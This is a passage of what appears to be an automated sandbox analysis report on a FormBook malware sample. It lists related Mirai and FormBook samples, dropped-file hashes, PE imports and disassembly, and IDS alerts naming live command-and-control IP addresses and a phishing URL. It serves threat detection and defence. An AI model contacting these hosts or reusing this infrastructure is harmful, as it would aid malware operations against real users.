	na.elf	Get hash	malicious	Mirai	Browse	99.5.142.74
	na.elf	Get hash	malicious	Mirai	Browse	13.39.87.81
	na.elf	Get hash	malicious	Mirai	Browse	99.13.97.223
	na.elf	Get hash	malicious	Mirai	Browse	107.114.194.124
	na.elf	Get hash	malicious	Mirai	Browse	76.225.140.139
	na.elf	Get hash	malicious	Mirai	Browse	76.251.0.185
	na.elf	Get hash	malicious	Mirai	Browse	172.150.130.127
	nuklear.arm.elf	Get hash	malicious	Unknown	Browse	13.178.101.96
	SANS SEC401.pdf .cmd	Get hash	malicious	Unknown	Browse	172.18.35.10
COMING-ASABCDEGROUPCOMPANYLIMITEDHK	aXyM30sV1V.elf	Get hash	malicious	Mirai	Browse	156.250.110.106
	n9q8iS3aIJ.elf	Get hash	malicious	Mirai	Browse	156.224.192.88
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	154.212.219.2
	na.elf	Get hash	malicious	Mirai	Browse	154.220.111.92
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	154.212.219.2
	na.elf	Get hash	malicious	Mirai	Browse	156.241.105.210
	hH4dbIGfGT.exe	Get hash	malicious	FormBook	Browse	154.212.219.2
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	154.212.219.2
	gmpsl.elf	Get hash	malicious	Mirai	Browse	156.250.110.159
	novo.ppc440fp.elf	Get hash	malicious	Mirai, Moobot	Browse	154.91.27.71
AMAZON-AESUS	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	44.221.84.105
	NU1aAbSmCr.exe	Get hash	malicious	FormBook	Browse	44.213.25.70
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzIzOTU1LCJuYmYiOjE3MjgzMjM5NTUsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiIxMzhudno3eXlrZ2h1NDA5OGZrYiIsInRva2VuIjoiMTM4bnZ6N3l5a2dodTQwOThma2IiLCJzZW5kX2F0IjoxNzI4MzIyODA2LCJlbWFpbF9pZCI6OTk2NDk2NywiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQ0ODIsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1XZSUyN3JlK3Rha2luZytvdmVyK3RoaXMrTmF0aW9uYWwrRGF5In0.z00HBrh18YFkCiPz9m_Gcq8DkC4g7ZLK6Qs5LoMEHUo	Get hash	malicious	HTMLPhisher	Browse	3.217.201.113
	na.elf	Get hash	malicious	Unknown	Browse	54.54.164.187
	na.elf	Get hash	malicious	Mirai	Browse	54.136.161.102
	na.elf	Get hash	malicious	Mirai	Browse	34.202.179.186
	na.elf	Get hash	malicious	Mirai	Browse	34.202.220.133
	http://www.gofreight.com/	Get hash	malicious	Unknown	Browse	3.212.99.33
	attachment (15).eml	Get hash	malicious	Unknown	Browse	52.206.205.81
	http://fortcollinsfineart.com/	Get hash	malicious	Unknown	Browse	52.7.22.181
VIMRO-AS15189US	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	208.85.174.50
	PO#001498.exe	Get hash	malicious	FormBook	Browse	67.223.117.169
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	Enquiry.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	SecuriteInfo.com.Win32.CrypterX-gen.29913.30159.exe	Get hash	malicious	FormBook	Browse	67.223.118.13

Process:	C:\Windows\SysWOW64\RmClient.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ambiparous

Download File

Process:	C:\Users\user\Desktop\w64HYOhfv1.exe
File Type:	data
Category:	dropped
Size (bytes):	287232
Entropy (8bit):	7.995735291117642
Encrypted:	true
SSDEEP:	6144:2DvtJEz7JGAUT3QWF3UWB/tev8L/+F447YmUB+PNttELrlDT8tmaTZOvyLd7DQ:MXEzltUkWUWBw8j+F4tmAg6omAZkyBDQ
MD5:	78D8B05247C78674DA5C54B4C58DC87E
SHA1:	F03F14DEE05F0812C9A57461F9A01EDDDA61656D
SHA-256:	468B693B0581E2C63A562FA804320AE5605F55D3068E735B214658F1EC40E86E
SHA-512:	09B756D2BA97CBBE868E937BFA5F8DC7C4C6A143F82ACF9CB1000E817EA71942A574B325D9BF2FF126CD703067966FA0639CC666D9100FA462969067B0CDB0C7
Malicious:	false
Reputation:	low
Preview:	..sf.2DGS...0....l.TD....O@...2DGSCW997E2LPBTGSK84LH64Z2DGSC.997K-.^B.N.j.5...`2[7g#18^KV(./1,:('kZQl:CZz[*g....TX!Wb]O^cSK84LH6M[;.z3$..YP..,7.N....T+.,...x'4.M...yR+..=$;vXS.H64Z2DGS..99{D3L-...SK84LH64.2FFXB\99gA2LPBTGSK8$YH64J2DG3GW99wE2\PBTESK>4LH64Z2BGSCW997ERHPBVGSK84LJ6t.2DWSCG997E"LPRTGSK84\H64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2Di'&/M97E..TBTWSK8dHH6$Z2DGSCW997E2LPbTG3K84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84LH64Z2DGSCW997E2LPBTGSK84

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.541953965256774
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	w64HYOhfv1.exe
File size:	1'363'343 bytes
MD5:	ac184c685020ceff107e43cabba13b4f
SHA1:	220f62ae6c76b24985cc3dbf558022fc8ca65c29
SHA256:	67910182eeeb3ac668faa832fbadfbe41f239b03da3e05a4ed36ea9a65da3d5c
SHA512:	0e1562ced6e2e06c04d257132587a54b44e44fa5925750ff62d13c711b988301d9096a62b7833b61937cc7c89762aaa61607150ae149a925691526ead6419759
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCIk/xzTqP+9eSJ/eosXn6uqtGOzVL5:7JZoQrbTFZY1iaCB3eO2osX6u8GOzVt
TLSH:	B355E122F5C69036C2B323B19E7EF766963D79371326D19B27C81E325EA04416B39723
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007FE4F4AD9C3Bh
jmp 00007FE4F4AD0AAEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FE4F4AD0C2Ah
cmp edi, eax
jc 00007FE4F4AD0DC6h
cmp ecx, 00000080h
jc 00007FE4F4AD0C3Eh
cmp dword ptr [004A9724h], 00000000h
je 00007FE4F4AD0C35h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FE4F4AD0C27h
jmp 00007FE4F4AD1002h
test edi, 00000003h
jne 00007FE4F4AD0C36h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FE4F4AD0C4Bh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FE4F4AD0C2Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007FE4F6F49427h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007FE4F4AD0BEEh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-09T14:19:08.616111+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49352	44.213.25.70	80	TCP
2024-10-09T14:19:08.616111+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49352	44.213.25.70	80	TCP
2024-10-09T14:19:24.979387+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49355	206.119.82.134	80	TCP
2024-10-09T14:19:27.506452+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49367	206.119.82.134	80	TCP
2024-10-09T14:19:30.121686+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49377	206.119.82.134	80	TCP
2024-10-09T14:19:32.668658+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49390	206.119.82.134	80	TCP
2024-10-09T14:19:32.668658+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49390	206.119.82.134	80	TCP
2024-10-09T14:19:39.233538+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49423	67.223.117.189	80	TCP
2024-10-09T14:19:41.768077+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49437	67.223.117.189	80	TCP
2024-10-09T14:19:44.427932+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49454	67.223.117.189	80	TCP
2024-10-09T14:19:46.872552+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49470	67.223.117.189	80	TCP
2024-10-09T14:19:46.872552+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49470	67.223.117.189	80	TCP
2024-10-09T14:20:00.557302+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49553	3.33.130.190	80	TCP
2024-10-09T14:20:03.179954+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49563	3.33.130.190	80	TCP
2024-10-09T14:20:05.647658+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49579	3.33.130.190	80	TCP
2024-10-09T14:20:09.135196+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49593	3.33.130.190	80	TCP
2024-10-09T14:20:09.135196+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49593	3.33.130.190	80	TCP
2024-10-09T14:20:15.573819+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49631	183.181.83.131	80	TCP
2024-10-09T14:20:18.095551+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49633	183.181.83.131	80	TCP
2024-10-09T14:20:21.448100+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49634	183.181.83.131	80	TCP
